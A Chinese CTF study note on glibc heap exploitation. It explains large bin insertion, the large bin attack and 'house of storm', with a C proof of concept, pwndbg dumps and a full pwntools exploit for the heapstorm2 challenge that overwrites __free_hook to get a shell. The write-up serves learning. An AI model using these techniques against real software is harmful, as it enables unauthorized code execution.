Large Bin Attack 好耶,又是另一个链表的利用🤢🤢。
没太看懂,再去看看
有点看懂了,回来记录一下
largebin结构 1 2 3 4 5 6 7 8 9 10 11 12 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ; };
可见largebin的空闲堆结构和fastbin的结构大不一样,有了fd_nextsize
和bk_nextsize
两个地址空间,因为有了这两个地址空间,储存chunk时也变得不一样,不是简单的单链表和双向链表,具体结构如下图
可见是一个横向和纵向的结构,横向记录着不同大小的chunk,用fd_nextsize
和bk_nextsize
连接,大小排序是从大到小,纵向是记录着相同大小的chunk,不同的chunk用fd和bk连接,这样的话,一条largebin链(一条largebin的链表记录的chunk的大小不是固定的,而是一定范围)中又分了不同大小chunk的链表,这些链表的堆头都还是链接的,这样做可以加快寻找空闲chunk的速度。
插入largebin链的步骤
1.找到当前要插入的chunk对应的largebin的index,并定位该index中的最小的chunkbck和最大的chunkfwd。 2.如果fwd等于bck,表明当前链表为空,则直接将该chunk插入,并设置该chunk为该大小堆块的堆头,将bk_nextsize和fd_nextsize赋值为它本身。 3.如果fwd不等于bck,表明当前链表已经存在chunk,要做的就是找到当前chunk对应的位置将其插入。首先判断其大小是否小于最小chunk的size,(size) < (bck->bk->size),如果小于则说明该chunk为当前链表中最小的chunk,即插入位置在链表末尾,无需遍历链表,直接插入到链表的末尾,且该chunk没有对应的堆头,设置该chunk为相应堆大小堆的堆头,将bk_nextsize指向比它大的堆头,fd_nextsize指向双链表的第一个节点即最大的堆头。 4.如果当前chunk的size不是最小的chunk,则从双链表的第一个节点即最大的chunk的堆头开始遍历,通过fd_nextsize进行遍历,由于fd_nextsize指向的是比当前堆头小的堆头,因此可以加快遍历速度。直到找到小于等于要插入的chunk的size。 5.如果找到的chunk的size等于要插入chunk的size,则说明当前要插入的chunk的size已经存在堆头,那么只需将该chunk插入到堆头的下一个节点。 6.如果找到的chunk的size小于当前要插入chunk的size,则说明当前插入的chunk不存在堆头,因此该chunk会成为堆头插入到该位置,设置fd_nextsize与bk_nextsize。
Large bin Attack 1.利用条件
存在UAF或者其他漏洞能够修改同一个Largebin或者bk_nextsize
2.效果
任意地址写入堆地址(重点)
利用下面这段代码进行漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #include <stdlib.h> #include <assert.h> int main () { unsigned long stack_var1 = 0 ; unsigned long stack_var2 = 0 ; unsigned long *p1 = malloc (0x100 ); malloc (0x20 ); unsigned long *p2 = malloc (0x400 ); malloc (0x20 ); unsigned long *p3 = malloc (0x410 ); malloc (0x20 ); free (p1); free (p2); malloc (0x40 ); free (p3); p2[0 ] = 0 ; p2[1 ] = (unsigned long )(&stack_var1 - 2 ); p2[2 ] = 0 ; p2[3 ] = (unsigned long )(&stack_var2 - 4 ); malloc (0x40 ); fprintf (stderr , "stack_var1 (%p): %p\n" , &stack_var1, (void *)stack_var1); fprintf (stderr , "stack_var2 (%p): %p\n" , &stack_var2, (void *)stack_var2); return 0 ; }
先在free(p3)下断点,查看这时的bins
1 2 3 4 5 6 7 8 9 10 11 12 13 14 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x602050 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602050 /* 'P `' */ smallbins empty largebins 0x400: 0x602140 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602140 /* '@!`' */
可以看见p1和p2都触发malloc_consolidate,p1到了smallbin,p2到了largebin
查看p2内容
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/20gx 0x602140 0x602140: 0x0000000000000000 0x0000000000000411 0x602150: 0x00007ffff7dd1f68 0x00007ffff7dd1f68 0x602160: 0x0000000000602140 0x0000000000602140 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000000 0x0000000000000000 0x6021c0: 0x0000000000000000 0x0000000000000000 0x6021d0: 0x0000000000000000 0x0000000000000000
可以看见这时候链表里只有他一个堆且他为堆头,fd_nextsize和bk_nextsize都是自身地址
再把程序运行到malloc(0x40),查看p2内容
1 2 3 4 5 pwndbg> x/20gx 0x602140 0x602140: 0x0000000000000000 0x0000000000000411 0x602150: 0x0000000000000000 0x00007fffffffddc0 0x602160: 0x0000000000000000 0x00007fffffffddb8 0x602170: 0x0000000000000000 0x0000000000000000
可见p2的bk和bk_nextsize地址空间的值都被更改了。都指向了栈空间。
然后执行malloc(0x40)
1 2 3 4 5 6 7 8 9 ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ rsp 0x7fffffffddd0 —▸ 0x602580 ◂— 0x0 01:0008│ 0x7fffffffddd8 —▸ 0x602580 ◂— 0x0 02:0010│ 0x7fffffffdde0 —▸ 0x602010 —▸ 0x7ffff7dd1c78 (main_arena+344) —▸ 0x7ffff7dd1c68 (main_arena+328) —▸ 0x7ffff7dd1c58 (main_arena+312) ◂— ... 03:0018│ 0x7fffffffdde8 —▸ 0x602150 ◂— 0x0 04:0020│ 0x7fffffffddf0 —▸ 0x602590 —▸ 0x602140 ◂— 0x0 05:0028│ 0x7fffffffddf8 ◂— 0x6262b714a4749e00 06:0030│ rbp 0x7fffffffde00 —▸ 0x4007b0 (__libc_csu_init) ◂— push r15 07:0038│ 0x7fffffffde08 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov
发现栈上的值被更改成堆地址了,至于为什么会这样,且细细道来
先看一下这段代码干了啥
先申请了三个堆,p1是0x100,p2是0x400,p3是0x410
然后free掉p1和p2,再malloc(0x40),导致p1转移到smallbin 然后p2转移到largebin
修改p2数据p2->bk=(unsigned long)(&stack_var1 - 2),p2->bk_nextsize=(unsigned long)(&stack_var2 - 4)
申请0x40chunk触发malloc_consolidate,p3将要链入largebin中
漏洞就在这个时候发挥作用,因为p3要进入largebin的链表,所以要执行入链操作
因为p3大于p2,而p3对应的堆链又是空的情况下就会执行下面这两段代码,其中p3指的是victim,p2指的是fwd,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 bck = fwd->bk; /..../ else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
这样就完成了任意地址写入堆地址。
large bin arrack 高级利用 house of strom largebinattack能完成1任意地址写堆地址,但是一般没啥大用,但是largebinsttack的高级利用house of storm却能完成任意地址请求堆
利用house of storm的前置条件
1.能控制一个large bin 的堆的bk_nextsize
2.能控制unsortedbin的一个堆的bk
主要思路就是利用largebinattack来fake一个chunk,然后利用unsortedbin对fake_chunk进行请求。
第一步 伪造堆 依靠largebinattack完成这一步,伪造堆的话主要伪造两个地方,一个是size,一个是bk位置,size使用bk_nextsize来伪造,bk(fake_chunk)使用bk(指large的bk)来伪造,伪造原理如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 bck = fwd->bk; /..../ else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
注意size位不能直接写入这个堆的地址,那样估计太大了,一般来说程序基地址一般是0x55或者0x56开头,堆的地址当然也是这两个开头,可以通过错位的方式使size位只写入堆地址第一个字节,令bk_nextsize=target-0x18-5
,这样在执行victim->bk_nextsize->fd_nextsize = victim;victim->bk_nextsize->fd_nextsize就指向了target-0x18-5+0x20=target+0x8-5,而堆的地址是六个字节,从target+0x8-5处存地址,存完后五个以后首字节就储存在target+0x8处,这个地址刚好是size的地址,size就伪造完了。
在伪造bk之前先搞明白伪造要伪造bk指针
1 2 3 4 5 unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
因为fake_chunk在unsorted中脱链时需要访问他的bk地址,向bk地址处储存头结点,所以bk处得是一个有效的值,如果不伪造的这个地方大概率不是有效地址,会导致fake_chunk脱链失败。这就是伪造原因
利用large的bk进行伪造,伪造原理还是上面那个源码,令large->bk=target+0x8,在执行bck->fd = victim;时victim的地址就会写入(target+0x8+0x10)=(target->bk)中去,bk储存着一个堆的地址,当然就是有效地址了。
注意:插入的chunk的值要大于布置的largechun的大小(即插在布置的kargechunk的前面) 第二步 申请fake_chunk 申请fake_chunk实际上就是伪造完自己执行的,unsorted在把上一个尾结点脱链后(插到了large,完成布置),然后再找尾结点,这时尾结点就是伪造的fake_chunk,然后执行下面代码脱链
1 2 3 4 5 unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
注意布置的fake_chunk的size是0x55或者0x56,所以申请的堆的大小得是0x50。
此时就完成了任意地址申请堆了。可以靠这个堆改写储存堆地址的指针区,完成任意地址读写。
例题heapstorm2
这道题先放一个payload,因为还涉及off by null漏洞,所以在off by null中仔细分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from os import systemfrom pwn import *context.log_level='debug' elf=ELF('./heapstorm2' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) ogg=[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] def add (size ): sh.recvuntil('Command: ' ) sh.sendline('1' ) sh.recvuntil('Size: ' ) sh.sendline(str (size)) def update (index,content ): sh.recvuntil('Command: ' ) sh.sendline('2' ) sh.recvuntil("Index: " ) sh.sendline(str (index)) sh.recvuntil('Size: ' ) sh.sendline(str (len (content))) sh.recvuntil("Content: " ) sh.send(content) def free (index ): sh.recvuntil('Command: ' ) sh.sendline('3' ) sh.recvuntil("Index: " ) sh.sendline(str (index)) def show (index ): sh.recvuntil('Command: ' ) sh.sendline('4' ) sh.recvuntil('Index: ' ) sh.sendline(str (index)) i=1 def pwn (): while True : add(0x18 ) add(0x508 ) update(1 ,'s' *0x4f0 +p64(0x500 )) add(0x18 ) add(0x18 ) add(0x508 ) update(1 ,'s' *0x4f0 +p64(0x500 )) add(0x18 ) add(0x18 ) free(1 ) update(0 ,'s' *(0x18 -12 )) add(0x18 ) add(0x4d8 ) free(1 ) free(2 ) add(0x38 ) add(0x4e8 ) update(4 ,'s' *0x4f0 +p64(0x500 )) free(4 ) update(3 ,'s' *(0x18 -12 )) add(0x18 ) add(0x4d8 ) free(4 ) free(5 ) add(0x48 ) free(2 ) add(0x4e8 ) free(2 ) fake_chunk=0x13370800 -0x20 p1=p64(0 )*2 +p64(0 )+p64(0x4f1 ) p1+=p64(0 )+p64(fake_chunk) update(7 ,p1) p=p64(0 )*4 +p64(0 )+p64(0x4e1 ) p+=p64(0 )+p64(fake_chunk+8 ) p+=p64(0 )+p64(fake_chunk-0x18 -5 ) update(8 ,p) add(0x48 ) p2=p64(0 )*5 +p64(0x13377331 ) p2+=p64(0x13370800 ) update(2 ,p2) p3=p64(0 )*3 +p64(0x13377331 )+p64(0x13370800 ) p3+=p64(0x1000 )+p64(fake_chunk+3 )+p64(8 ) update(0 ,p3) show(1 ) sh.recvuntil(']: ' ) heap=u64(sh.recv(6 ).ljust(8 ,'\x00' )) print hex (heap) p3=p64(0 )*3 +p64(0x13377331 )+p64(0x13370800 ) p3+=p64(0x1000 )+p64(heap+0x10 )+p64(8 ) update(0 ,p3) show(1 ) sh.recvuntil(']: ' ) hook_base=u64(sh.recv(6 ).ljust(8 ,'\x00' ))-0x58 -0x10 libc_base=hook_base-libc.symbols['__malloc_hook' ] print hex (libc_base) free_hook=libc_base+libc.symbols['__free_hook' ] p3=p64(0 )*3 +p64(0x13377331 )+p64(0x13370800 ) p3+=p64(0x1000 )+p64(free_hook)+p64(0x8 ) update(0 ,p3) update(1 ,p64(ogg[1 ]+libc_base)) free(1 ) sh.interactive() if __name__ == "__main__" : while True : sh = process('./heapstorm2' ) try : pwn() except : sh.close()